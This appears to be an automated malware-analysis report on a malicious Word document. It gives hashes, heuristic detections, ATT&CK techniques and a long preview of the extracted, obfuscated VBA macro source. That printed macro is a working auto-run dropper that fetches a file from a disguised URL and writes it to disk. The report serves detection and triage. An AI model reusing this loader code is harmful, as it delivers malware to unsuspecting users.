Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 496ed0e2b3edd2fc…

MALICIOUS

Office (OLE)

436.5 KB Created: 2018-10-18 11:26:00 Authoring application: Microsoft Office Word First seen: 2019-02-26
MD5: de816794b60cc8b7da4b1732022dbe9d SHA-1: f5c18d7e176665d429361199bc60a546f579888b SHA-256: 496ed0e2b3edd2fc7325fb29a0827bd5853d1be4f63c074ca63ff651b5c6fb4e
358 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing obfuscated VBA macros. The macros are designed to download and execute a second-stage payload, as indicated by the 'OLE_VBA_HTTP_DROP_EXEC' heuristic. The presence of 'mshta.exe' references and the 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' heuristic further support this dropper functionality. The specific payload and its ultimate destination are not discernible from the provided evidence.

Heuristics 11

  • ClamAV: Doc.Dropper.Agent-7148299-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7148299-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        ELHhwr = AXMKrl.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set DBvAm = CreateObject(QWnTUQRILK("Ac^og)DXWfqMO@o)c DkiS!BB L hm.tdt]oS% C@ t kF#Fr)bqZae-J_- aEUdp?mgwzh_"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set DBvAm = CreateObject(QWnTUQRILK("Ac^og)DXWfqMO@o)c DkiS!BB L hm.tdt]oS% C@ t kF#Fr)bqZae-J_- aEUdp?mgwzh_"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Call DBvAm.SaveToFile(Environ(QWnTUQRILK("AaxhIcly z#dlZT vpUQ!c_msnxl WeJeeT)r! C^ s $h EP(slc)rS %UWoBKo?ufEtctHi (L&Olp& f?eYq z ")) & FwUkAogvq("\P. dw\Cz]oXT H#qOm?gfwAvRcZr RNpekkJsCv!zr &ACk. UMwmeuA] vxw B leh^ CQ"), 5 + 3 - 6)
  • Reference to mshta.exe high SC_STR_MSHTA
    Reference to mshta.exe
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 198483 bytes
SHA-256: 0fda57f558d0434eb3de85f12208282a8e3ca23d90fb4df770273c122e6fdf64
Detection
ClamAV: No threats found
Obfuscation or payload: likely
995 of 1626 identifiers look randomly generated (e.g. 'hhjSSyoTWUlxWDJXUake'); 62 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
    CZQwgrspEjjV = RTrim("VEwLSb@") + UCase(" Zi awaI.r")
    wGSgmPwe = Space(14) + Left(" e t  EA]l ZYyXvSai", 3)
    wCNNa = 20 - 50 - 93 - 40
    pvWSXQ = Right("b & bSej n", 2)
            While Aretsp < 2
                For inYBET = 2 To 6
                    JPYXuPOitIe = Left("ym$ x z    K l", 5) + LTrim(" bjd uS S")
                    ofNftcb = UCase(" Pyf #O iPq^Rboj]O") + RTrim("MHLoK ")
                    wCNNa = UCase("E  R    tVL C%") + RTrim("a R)RiuiBIJ  (i  C ")
                    KqOOWH = Right("dFfsl", 2)
                Next inYBET

                wfOoxTp = 79 - 6 - 98 - 46
                StXByPQ = LTrim("CnqUX[")
                GAdseXdCz = 36 + 55
                etZuSsxBgD = RTrim("zemKJz  t V ^GQ$") + UCase(" $Tp#KH!H@q#-EQk")
                Aretsp = Aretsp + 3
            Wend

            For gbrmKb = 2 To 3
                While LRFTMe < 1
                    hGXtFHAIfpO = Space(15) + Left("J  UqNq g   Xf(x", 2)
                    iqYGnuLv = 82 + 48 + 59 + 74 + 75 + 74
                    SUznto = RTrim("mMz^LT Zq?_^aIal") + StrReverse("V  K!)")
                    ctrIlYM = 93 - 52
                    LRFTMe = LRFTMe + 1
                Wend

                CZQwgrspEjjV = Right("Ju Q j ", 3)
                pvWSXQ = Right("b%bdIZ", 2)
                YwSdfm = 73 - 83
            Next gbrmKb

            While JyRryL < 1
                While KiikeN < 4
                    rkfzPhkeHe = UCase("y $w ") + RTrim("B  POutlBkS-L")
                    UuJYLhKfF = RTrim("% ^KU Tul  v# U") + UCase("r JiP  L Wnx  ")
                    YwSdfm = 34 + 55 + 36 + 25 + 48 + 17
                    KiikeN = KiikeN + 2
                Wend

                ypIEQJHvNqCJ = 89 - 12 - 43
                IhbJMGt = 7 + 14 + 8 + 35
                iqYGnuLv = 16 - 27
                zsuFa = 36 + 10 + 98 + 46 + 56
                JyRryL = JyRryL + 2
            Wend

    GcrPnpCz = Right("@v k$]f", 4)
            While FAyusD < 3
                CZQwgrspEjjV = 92 - 61 - 69 - 58
                UpulLCcJfl = Left("i   xv    UCo$ yLE", 3) + LTrim("D   Hp N ")
                etZuSsxBgD = 51 + 49
                RmnyHIbCE = LTrim("^( ZLZ$")
                

                FAyusD = FAyusD + 1
            Wend

            For XKPanv = 2 To 6
                iNNWNWL = Space(4) + Left("Y   D[)", 4)
                GAdseXdCz = RTrim(" @N_Wi o") + UCase("GWk%jHgF P xxzS")
                YwSdfm = Right("qNu   ^%! &^OA", 5)
                xGSqdvY = 63 - 55 - 63 - 12 - 0 - 39
                rgpWyvROeS = 45 + 73 + 21
            Next XKPanv

    iVKggbddQ "kxzfqCEl", "vzqcKxsa", "oxYdBD", "BjntZvpbH", "oIafbJ", "hCbKpFueIY", "FUcxtxTYpv", "mTsgRrHY", "mVKtWCtcG", "ykdPbkBZ"
            While YsgiKb < 3
                RmnyHIbCE = RTrim("vgb] x%]oz y T$$^!XB") + UCase(" W v?&bj")
                xGSqdvY = Right("fx R ssq?xk", 4)
                JPYXuPOitIe = RTrim(" K)F  ") + UCase(".-[   )m.Ylu!   I&o")
                YsgiKb = YsgiKb + 1
            Wend

    KqOOWH = 62 - 72 - 54
    GcrPnpCz = 38 + 52
    RmnyHIbCE = Space(11) + Left(" P&T rN$&$hnV pe", 5)
            While sMvSkf < 2
                pvWSXQ = RTrim("ulIXcfX[%kSZy  h(m$") + StrReverse("w K [V")
                OMLlEtrSO = 33 + 65 + 75
                wCNNa = 83 + 38 + 65 + 49
                GcrPnpCz = Left("H( yV&HA  #i)!oFAg", 3) + LTrim("SQ]mT[K. ViQ- $_ s")
                sMvSkf = sMvSkf + 2
            Wend

    UuJYLhKfF = RTrim("_u.cTd ]") + UCase("  o xr  l ?U    s Ic")
    ZhMQd = UCase("Plmntt&)[ d j G @") + RTrim("lGZWVmW J )(cp  v&$W")
    MCHOOxoKhDJv = 60 + 86 + 87 + 19 + 34
            While aooAGb < 3
                

                UpulLCcJfl = Left("LyK PYSZ   _b E  ", 3) + LTrim("Eq yab& UVXeeDgpMc  ")
                iqYGnuLv = RTrim(" s^?f    ]$ tr") + StrReverse("& AQ   &l")
                aooAGb = aooAGb + 2
            Wend

    ppFahCFjtd = Right("niBo@ Ul&XIiAtk", 2)


End Sub



Attribute VB_Name = "Module1"

Function NBIGZc(oHNWrRa As Double) As String
    Qszgh = RTrim("oOimH") + StrReverse("J@e !#  (ViCg ")
    CZQwgrspEjjV = UCase(" LBM&Js]  B  jL") + RTrim("   XK Pu S . [ igb")
    ofNftcb = UCase(" h  R y kSJrYX a%t(^") + RTrim("[viuu(")
    JvAfgDS = RTrim("?gTrK  yjhXJdu") + StrReverse("  T r?sm A! VG!)WB")
    lFOQzkpfGhCg = RTrim("D]_b  RYA B &st") + StrReverse("Z@_ ^K  z  qRKutLiW")
    QvlbGi = 41 + 90 + 61 + 95 + 13
    hGXtFHAIfpO = 10 + 89
    wGSgmPwe = UCase(" P .[ O RR % ") + RTrim("AtR_NJ#eCuq   ")
    ppFahCFjtd = RTrim("T!$na^P lzZ") + StrReverse(" vJR^#  IO]   x R  ")
    EWRQoC = Left(" #f RMF yRz%t ", 4) + LTrim("vchJhPsnZp[CcQ. LqP ")
    JPYXuPOitIe = 24 + 38 + 40 + 18 + 21
    Qszgh = 76 + 27
    YwSdfm = Left("Hp O io", 2) + LTrim(" zZVHdtQI nzu")
    IhbJMGt = LTrim("aKt  -&A L B jGo!eAp")
    ofNftcb = 68 + 82 + 70
    YwSdfm = 82 - 54
    StXByPQ = 42 - 44
    wGSgmPwe = 41 - 91 - 53 - 32
    GcrPnpCz = Right("]Dhw)f] G  ", 4)
    NBIGZc = "JAbyVwnOszCrzChaeEQ"
End Function



Function avlczT(XxKjiC As Boolean, RdvOeVl As Boolean, sxplvYp As Boolean, wVcaIc As Double) As String
    iqYGnuLv = 39 - 58
    hGXtFHAIfpO = Left("v- t .T TyYEd", 5) + LTrim("H Jy v ")
    RmnyHIbCE = Space(15) + Left("Fcx[h", 5)
    ZhMQd = LTrim("NRY   izA%& ")
    RmnyHIbCE = Space(14) + Left(" z  o N(N  x  vn  c", 5)
    xGSqdvY = UCase("be   Ct[i ") + RTrim("Jq%Jv D !@O ] kIR")
    iNNWNWL = UCase(" g![Y X$ #feEPf ^") + RTrim("%PZO Z LO nNf G")
    ctrIlYM = LTrim("l_ Mq&!t cq")
    

    YwSdfm = Left(" k  S R   ", 5) + LTrim(" M!h k")
    

    zsuFa = LTrim("j k c")
    kHAKU = Space(11) + Left("xKwguL(M LPV# t)l ", 4)
    hGXtFHAIfpO = RTrim("G!^e[") + StrReverse("   mPFr")
    ofNftcb = 38 + 23 + 94
    For tQbLNP = 2 To 3
        For HyWAMi = 2 To 10
            iNNWNWL = RTrim("fkJ^[psJ &f!  IZ") + UCase("Av  F([v s")
            RmnyHIbCE = RTrim("?tyVB Z T d B") + StrReverse("$mGi^^")
            CHqqhJRH = Space(7) + Left("  m^ Qw# ClfJ", 4)
            ypIEQJHvNqCJ = 92 + 3 + 99 + 87 + 4
        Next HyWAMi

        kHAKU = 18 - 36 - 47 - 43 - 42
        SUznto = RTrim("wob#) @z ") + UCase(" H! )z C wMlP@) RF?_")
        CHqqhJRH = Right("g a N ", 3)
        EWRQoC = Right("EZ q&egYv yyC", 5)
        YwSdfm = Right(" Hb b!i ?Fj ", 4)
    Next tQbLNP

    GAdseXdCz = Space(8) + Left("CR ?l x)H# Sg!H", 5)
    ofNftcb = RTrim(" sRVZLh  !nay ") + StrReverse("c Ud j")
    CZQwgrspEjjV = RTrim("W  LB  p[b(uKfbGQF") + UCase("- FL  ")
    wCNNa = UCase("Y a?q&M") + RTrim("nj$#R ")
    avlczT = "PLExPxnXoSHyWKxAEOjx"
End Function



Public Sub NfCDYke(lyuTrsI As String, dxoZZGP As String, LxKGdg As String, NluRqa As String)
    wfOoxTp = 64 + 68 + 9
    For KqjUZv = 2 To 5
        While nTRoFI < 1
            ppFahCFjtd = 51 - 41 - 95 - 47 - 59 - 7
            EDKxrML = 4 + 33 + 14 + 88 + 16
            

            rgpWyvROeS = Space(1) + Left("      v", 4)
            nTRoFI = nTRoFI + 3
        Wend

        JPYXuPOitIe = RTrim("@w TyZ(") + StrReverse("i$d_ysKRryp  Kbdd j")
        CZQwgrspEjjV = LTrim("  D  ib^ $)")
        MCHOOxoKhDJv = RTrim("u WNGo$A h qrAU$") + UCase("B $    tt")
        FmufhvJgn = RTrim("QB XsgH v$kXD") + StrReverse("Rz  Pz")
    Next KqjUZv

    FmufhvJgn = Left("msom    . ?-", 3) + LTrim("_oJD @c Lg@")
    While uJiQBL < 2
        

        StXByPQ = 3 - 67 - 80
        ppFahCFjtd = Left("MS F LglWj#z ", 3) + LTrim("   WlX")
        uJiQBL = uJiQBL + 3
    Wend

    kHAKU = UCase("]UbKq") + RTrim("$-TIEI Ns_Rh  ec#A")
    JPYXuPOitIe = RTrim("SCws_Q") + UCase("L   nNap %Rb^y^u  F ")
    iqYGnuLv = 41 - 0 - 29 - 1
    
    xTClB = 15 - 84
    CHqqhJRH = Right("#(oNXM exZn.GIB J", 5)
    For RBplme = 2 To 4
        While CkqhBl < 3
            TyllcbkUr = RTrim("an N[&R@ Q") + UCase("GF[l  EEB")
            RmnyHIbCE = Space(15) + Left("Qu Z)o[  ", 3)
            JPYXuPOitIe = Space(5) + Left("  GPD BY  (", 5)
            CkqhBl = CkqhBl + 3
        Wend

        UpulLCcJfl = UCase("ox WA") + RTrim(" LaOgS^pCt   InvxH A")
        TyllcbkUr = Space(3) + Left(" !HnY", 4)
        ypIEQJHvNqCJ = 83 - 86 - 85 - 87 - 55
    Next RBplme

    vzXixElpFf = UCase(" fjyU FG  hrm uXHC") + RTrim(" ZgKOLc _ Nw")
    GcrPnpCz = Space(20) + Left("c %Stph  a t", 2)
    OMLlEtrSO = Left("ZQ S oh gRb^T%", 2) + LTrim("RBoAiUwZ! X")
    CHqqhJRH = Left("eNt  dXWQ ", 4) + LTrim(" QJ fn]Zc @%  #  a ")
    iqYGnuLv = RTrim("zhS qSvGx. %b z mLls") + UCase("M?Wq#&((_RIJA)Bf zc-")
    For YRyrTs = 2 To 3
        For IYYTNC = 2 To 5
            wGSgmPwe = 87 + 22
            QvlbGi = 72 + 63 + 59
            YwSdfm = Right("@%c gdoNHGg h", 5)
        Next IYYTNC

        ctrIlYM = 82 - 80 - 37 - 45 - 39
        KqOOWH = UCase("R(xO#!^EX") + RTrim("DN c@U ")
        CHqqhJRH = 48 + 32
    Next YRyrTs

    For jKpFEQ = 2 To 9
        GcrPnpCz = 63 - 12 - 37 - 71
        xTClB = Left(" Q R ", 5) + LTrim("$ d$ y (")
        IhbJMGt = 61 - 93
    Next jKpFEQ

    RmnyHIbCE = 84 - 57
    GAdseXdCz = 22 - 37 - 84 - 45 - 74
    Set DBvAm = CreateObject(QWnTUQRILK("Ac^og)DXWfqMO@o)c DkiS!BB L hm.tdt]oS% C@ t kF#Fr)bqZae-J_- aEUdp?mgwzh_"))
    xGSqdvY = RTrim("  @&AUdS VM]ff^G") + StrReverse("h&BIdj Rms")
    YwSdfm = 12 + 2 + 51 + 57
    JvAfgDS = Space(20) + Left(" %sCT", 3)
    hGXtFHAIfpO = RTrim("Xv ] ") + UCase(" $hwuWdU  #x")
    For jWKwuG = 2 To 5
        pvWSXQ = LTrim(" @&O nf ZRnQ@eC")
        UuJYLhKfF = UCase("u  b.) YdC$O%CeEG") + RTrim("   Wk ")
        hGXtFHAIfpO = 61 - 22 - 87 - 18
        

    Next jWKwuG

    GcrPnpCz = Space(8) + Left("_PMpbGewL!sflyCpooH", 3)
    zsuFa = 5 + 1 + 18
    kHAKU = UCase(" V kF yFtaL^") + RTrim("  YWE  B? y   OSaR")
    iqYGnuLv = RTrim("T f YX  V @ ygN& GJ") + StrReverse("K])[- [")
    ypIEQJHvNqCJ = LTrim(" d iM  Xcqj")
    CZQwgrspEjjV = 73 - 18 - 76 - 19
Dim AXMKrl As Object
    IrULKf = 80 - 80
    ppFahCFjtd = Space(19) + Left(" H) M kb E@  cyFg", 3)
    JvAfgDS = 79 + 91 + 71 + 91 + 71
    wfOoxTp = RTrim("mn@hohTaZh )b# @") + UCase("Qk ?]")
    xTClB = RTrim("e   atP-") + UCase(" VjL  s$Bb[WL_")
    ZhMQd = RTrim("xK vY") + UCase("X kq p")
    ypIEQJHvNqCJ = RTrim("pO)-(A S  v[qP I#( ") + StrReverse("G  n!I$DE[h   hU(")
    OMLlEtrSO = 0 - 51 - 36 - 32
    etZuSsxBgD = Left("bFk jv  mDfE", 2) + LTrim("_XHB LEr GdLz ABL")
    GAdseXdCz = RTrim("eEaX[]") + StrReverse(")!b ZLa ")
    rkfzPhkeHe = RTrim("!wc FDrAZ@@$J!ig") + StrReverse(" !Ppp ")
    While iyhoVn < 3
        vzXixElpFf = LTrim("QB  ?@OgwI")
        kHAKU = RTrim("pBp_KtJI") + UCase("Ivl@$dJJA(k^W q p ")
        TyllcbkUr = UCase("i.xQ[)t ") + RTrim("Rt(yXkn")
        vzXixElpFf = 55 - 19 - 20 - 38 - 31
        iyhoVn = iyhoVn + 2
    Wend

    DBvAm.Open
    xTClB = RTrim("^@Kpc ]q qa ") + StrReverse("rgb M)uS")
    NStzgKgqw = Left("MP oehRbW % %NjMc ", 2) + LTrim("? hku")
    Zqwxg = Space(19) + Left("Be   W [G[ K pg", 4)
    UpulLCcJfl = Right(" UrmVI[ G @lyH", 5)
    iqYGnuLv = 52 + 38 + 89
    SUznto = Right("AFyr  j)) ", 3)
    UpulLCcJfl = RTrim("rV kU) HN%KSi     z") + UCase(" au  G ]  GG c[")
    xGSqdvY = 99 + 91
    MCHOOxoKhDJv = RTrim(" UC_&mlP") + StrReverse("hJ k    ML F e Yxxf")
    IrULKf = LTrim("# spvQ  noQU _#hPK")
    ppFahCFjtd = RTrim("x  ?f&mf") + UCase("clD-L w  GXaCbh n")
    

    DBvAm.Type = 86 - 85
    ofNftcb = Right(")hf( n  MPJ?&(i  ! ", 3)
    EDKxrML = 59 + 10
    QvlbGi = Right(" i  X ", 2)
    QvlbGi = RTrim("pTs!_iHZqh )HTk^") + StrReverse("QJ.sCx]T . t hL # ")
    While EIDTNq < 4
        While xLegop < 2
            hGXtFHAIfpO = 89 + 6 + 88 + 18 + 11
            IhbJMGt = RTrim("z&G)#hB$ )n ") + StrReverse(" F fc)Tf x.- Ri Xk ")
            hGXtFHAIfpO = LTrim("!?clNV z#w J k!cAt ")
            xLegop = xLegop + 1
        Wend

        kHAKU = 40 + 14
        StXByPQ = LTrim(" sr  .")
        

        EIDTNq = EIDTNq + 3
    Wend

    kHAKU = 49 + 42 + 85 + 61
    zsuFa = LTrim("G a)m Z iz i?.RKZ&")
    EWRQoC = RTrim("n$ h^nww") + UCase("e$@G @i(^ Ub(s ")
    CZQwgrspEjjV = Left(" Kp  f CmW", 4) + LTrim("Z$FmJWTA)!")
    zsuFa = 67 + 77 + 100
    FmufhvJgn = Right("?%W] jQ)bGI", 4)
    While wMWZyz < 4
        While tzEAIo < 3
            IhbJMGt = RTrim("? ( jYgH yyra") + StrReverse("% k$ ")
            IhbJMGt = UCase("  _qOa  Y&lurF") + RTrim("Q(Q!?Z_N")
            wCNNa = LTrim("sZLNKF)E ")
            ctrIlYM = RTrim(" eOqXB$v ]Zj") + UCase("maZXC%W sdZv_lu $")
            

            tzEAIo = tzEAIo + 3
        Wend

        TyllcbkUr = UCase(" %a?  Ht  ?[yL") + RTrim("ow qc.)")
        Zqwxg = RTrim(". u! T oI    dc") + UCase("  DSY[ fA!ot")
        MCHOOxoKhDJv = 99 + 63 + 17 + 98
        wMWZyz = wMWZyz + 3
    Wend

    Set AXMKrl = CreateObject(FwUkAogvq("Mb@J giHSd Yc etYdr -uRfoVWKmRsj[do%ouCe.cfq u ^tUDtMR.mRS&gXI vKIMkZ_%TL ON[KH ^  sTWuflJTpYW)?PLE jr"))
    ctrIlYM = Space(7) + Left("L%)dE   G ", 4)
    iNNWNWL = Left("q k[@ ", 3) + LTrim(" Cys[Y C qZol")
    While HrREzv < 4
        While NBIeWN < 4
            iNNWNWL = LTrim("&SyABx@L( [x!EttI ")
            SUznto = RTrim("kDKLVB TTu _qJ]zRN-") + UCase("dfqR X rV_XF v D")
            iqYGnuLv = RTrim(" J  c oT  ) M Xq&Ff") + StrReverse("Vrj VD  Q  Qsfw Tt")
            iqYGnuLv = 64 - 3 - 86 - 28 - 92 - 10
            KqOOWH = 5 - 42 - 99 - 9
            NBIeWN = NBIeWN + 1
        Wend

        hGXtFHAIfpO = Space(16) + Left(" r! oL OlGR[mN ", 3)
        wCNNa = Right(" --bEn Jh   ! D U", 5)
        etZuSsxBgD = Left(" ](ORZynvQsgUp $HO$", 5) + LTrim("_   oP zmp")
        HrREzv = HrREzv + 2
    Wend

    etZuSsxBgD = LTrim("A  sx ]mW jQ")
    rgpWyvROeS = Left(" hu j Bw.p", 2) + LTrim("   n_Gpy  ] B[")
    

    For QNsGTV = 2 To 5
        vzXixElpFf = RTrim(" zRZ  mdbIY vU") + UCase("  v v  vv^ ")
        EDKxrML = RTrim("cq]  u(G") + UCase("j. C] C")
        lFOQzkpfGhCg = UCase("HN(ma@ d !@#K !") + RTrim(" K$%L Zk QfOC")
        EWRQoC = LTrim("](S)!BA  Vt")
    Next QNsGTV

    ctrIlYM = 42 + 70 + 82 + 22
    ZhMQd = RTrim("T   G  mG  rz") + UCase("ou-aIxRZ#gJ u")
    UuJYLhKfF = RTrim("vP@Lwf G") + StrReverse(" kLzVXaNYW E u# ")
    JvAfgDS = RTrim("MfeQFW ") + StrReverse("  D  J c. he!")
    While aedgom < 1
        KqOOWH = 70 - 44 - 8
        

        JPYXuPOitIe = RTrim("  Z%ZfR ") + UCase("#hr^!v#-P )DDY  ")
        Qszgh = RTrim("q vF h") + StrReverse("kV sb f #")
        

        aedgom = aedgom + 3
    Wend

    wfOoxTp = RTrim("r aD@pDFW lIr  @") + StrReverse("&.^FD^qfr ty#gn")
    AXMKrl.Open QWnTUQRILK("GfzI&#EcJ-UBTFHQKN"), FwUkAogvq("hB)U itaq% GtbnrGYp&NSRQsm-?g?:tSy ^/Hl uL/%lPwlaDwwlFn  F  yb P  fWjS  ip  $XlxSI &ewUCy[.d[X R2 v[J_5g@%KT5Ahxs b gZ  iL_syYtxfz$%s-pLze.ILYzCc) KDAoDeP#FmKz%$ /od G@wC^h $iJ$jD%xd ^z /bX TGd S)DhoYoYIYw#Xz ?naH P(l  T Jo#u_ExakXb! dqL(B ?Wl  WiCwL@]do[md$=_d)R a XkgN8Oz  ud &B&S9  qM f Kvc[3Xs qHe.JN.)5Jx QY6% ul?cyra MbC?  H0t mP(aOs Qd1aG wncsbV.K2 CZcK5 tLL.8SaorO3By t(a rF q2K!xY 8hlS(ubm  )M9$n _D3CCj T8bq[tL7 a ] 5eoLPM3 Ze? 9- HavcZBt#j6qFva!"), False
    rgpWyvROeS = UCase(".C u@  &mxiM^") + RTrim("_ci ] ")
    For qodpgj = 2 To 4
        For EDwpsL = 2 To 5
            UuJYLhKfF = UCase("Le swbNjCX ") + RTrim("t$Ca #EU e!mg@y")
            IrULKf = UCase("  ACSg ) B") + RTrim(" CpT#)wJ.  ) NyD F s")
            xGSqdvY = RTrim(" hi$Jp ") + UCase("n ho JMTwKPYC@h(P  ")
        Next EDwpsL

        IrULKf = LTrim("Sxx#RwI]q")
        

        xTClB = RTrim("VW)y#  Hzd]% g  m") + UCase("   rb")
    Next qodpgj

    

    SUznto = Space(2) + Left("md-MOs ", 4)
    

    iqYGnuLv = LTrim("  W[G_ ^k")
    For gjNTBP = 2 To 5
        For WCgxXt = 2 To 10
            Qszgh = RTrim("(eb  ]$J") + UCase(")J kn cm ( ZlTyWrcrd")
            rgpWyvROeS = 52 + 14 + 9 + 2 + 90
            IhbJMGt = RTrim("V K  tmlsbe_M") + StrReverse("^!R_  LqR) f")
        Next WCgxXt

        QvlbGi = Space(13) + Left(" KuR (  K  sFVu", 2)
        SUznto = 10 + 78 + 42 + 71
        CZQwgrspEjjV = RTrim("S # Z  h cVM mamJc") + UCase(" BlaZ.-G fJM")
    Next gjNTBP

    GAdseXdCz = 88 - 20 - 20
    YwSdfm = Left("wB k !", 5) + LTrim("a jQwC .n ")
    While vrrswv < 5
        GAdseXdCz = 29 - 72 - 1 - 64 - 54
        rkfzPhkeHe = LTrim("J_Kef  ")
        QvlbGi = Left("tmX]_yf  _y.hZL r d ", 3) + LTrim("F W#sd $Kt& huy UOtv")
        UuJYLhKfF = LTrim(" Vj jE Ri#")
        pvWSXQ = Space(8) + Left("q^% dnFR aUrJ", 2)
        vrrswv = vrrswv + 3
    Wend

    pvWSXQ = UCase("mXcv Pc  n%h") + RTrim("IZxC(  q c ")
    While eEwyeB < 2
        For HzVlxE = 2 To 5
            ofNftcb = RTrim("CCN epV") + StrReverse("&rLUbC  o$")
            etZuSsxBgD = RTrim(" scF(Qi R)") + UCase("vkPLi")
            CHqqhJRH = Right("Ie _ee   ", 5)
            

            

        Next HzVlxE

        pvWSXQ = Space(13) + Left("^ nfebgK", 3)
        RmnyHIbCE = 25 - 86 - 19 - 25 - 34
        YwSdfm = Space(13) + Left("  Q[#hp c!Bov", 4)
        eEwyeB = eEwyeB + 2
    Wend

    While bKTPHk < 3
        

        rkfzPhkeHe = UCase("zF#C  @YKOlTOrGh f") + RTrim("M] ]C![ op  ? C ")
        wfOoxTp = UCase(" .q fZRViE #VuEDk ]V") + RTrim("L]HS ZADl")
        bKTPHk = bKTPHk + 2
    Wend

    AXMKrl.Send
    FmufhvJgn = Space(5) + Left(" t HTR-AT#", 4)
    

    StXByPQ = RTrim(" Ddm$R") + UCase("  EsUcw-?QeWY")
    FmufhvJgn = UCase("tsaPa ") + RTrim("JbRhmmRQibYe %V S  ")
    JPYXuPOitIe = 23 + 0 + 88
    KqOOWH = 41 - 9
    iqYGnuLv = Space(12) + Left("F$%qnk- QDo", 3)
    While ySretn < 3
        UuJYLhKfF = UCase("( ? #ljLTr  Vhg SY ") + RTrim("?q#x(xD")
        xGSqdvY = RTrim("bPZsx!f") + StrReverse(" arh r YB ba a")
        

        SUznto = Right("#   S_Rmu wtrN  ", 2)
        pvWSXQ = RTrim(" Djj ^R[#") + StrReverse("KnXHSx)$ C(VW")
        ySretn = ySretn + 3
    Wend

    StXByPQ = LTrim("D   ([B!v mjV ")
    OMLlEtrSO = 96 - 66 - 49 - 18 - 71 - 42
    iqYGnuLv = LTrim("%tli S")
    ELHhwr = AXMKrl.responseBody
    Qszgh = Right("QL d q o ", 2)
    SUznto = UCase("U)GXDpsCgY ") + RTrim("qSpN( Y!v)")
    IrULKf = 41 + 25 + 70 + 18 + 38 + 22
    For ZFfcrt = 2 To 6
        StXByPQ = Left("n DU  AF QNxQnJoeEt", 2) + LTrim(" w i # ")
        GAdseXdCz = Right(".   opE", 2)
        ctrIlYM = UCase(" z)  AIAWE") + RTrim("g ![XHl  ")
        ctrIlYM = RTrim("II^mOqvn ") + StrReverse("eXxw[ q^$WKX ")
        ppFahCFjtd = UCase("Rqr ^KK") + RTrim("  F[vv")
    Next ZFfcrt

    ppFahCFjtd = Left("qwq^ vXk]qeS hN ", 3) + LTrim("m d S& QYYSJ")
    xGSqdvY = Right("rIc BwFLdiZM_", 5)
    While SbEUCz < 2
        JPYXuPOitIe = Left("z n@KT  DnILNO !", 5) + LTrim("CjX gc@wE s!w j %w !")
        CHqqhJRH = LTrim("mZZv &_M#v")
        StXByPQ = LTrim("qstI?$rgV _^ ( &  j ")
        MCHOOxoKhDJv = Right("BP_N]fn", 2)
        ppFahCFjtd = RTrim("aHfC   _Fz  !FkOctg") + StrReverse("  ! AtQn[-iGJ f")
        SbEUCz = SbEUCz + 3
    Wend

    kHAKU = RTrim("Hf$ zY") + StrReverse(" FBX t &#  qX OzT")
    For utApRX = 2 To 4
        While OXjeah < 5
            

            GAdseXdCz = 44 - 23 - 67 - 18
            iNNWNWL = Left("DYm  I pB QD YEiO", 4) + LTrim(" ^ ( ")
            

            OXjeah = OXjeah + 2
        Wend

        pvWSXQ = 10 + 36 + 77
        YwSdfm = 38 - 38 - 77 - 85
        etZuSsxBgD = UCase("U QR kWuf") + RTrim(" !lJ^ J  @ H% ")
    Next utApRX

    While xZGqOA < 3
        While mxzqIw < 1
            rgpWyvROeS = LTrim("W )^PK_]^_")
            CHqqhJRH = LTrim(" a^Dawv R  cH ")
            YwSdfm = LTrim("ctov T  V#")
            QvlbGi = Left("So.  _ f  SY ", 3) + LTrim("tzA%Bx ")
            mxzqIw = mxzqIw + 1
        Wend

        IhbJMGt = RTrim("  AS]  G   c$y") + UCase(" QOCYbu^j")
        UpulLCcJfl = RTrim(" tX cT") + UCase("ddZTyd")
        UuJYLhKfF = Space(7) + Left("B  y Cv  h )^iX )Z", 5)
        xZGqOA = xZGqOA + 1
    Wend

    wGSgmPwe = Space(10) + Left("M BDri-?", 2)
    ofNftcb = Left(" .vM-p!bYc^ ", 4) + LTrim("!nq g% & PxA")
    DBvAm.Write ELHhwr
    etZuSsxBgD = 53 + 82 + 96 + 55
    IhbJMGt = Right("Lp o !)w MXI", 4)
    SUznto = Right("lJW M]", 3)
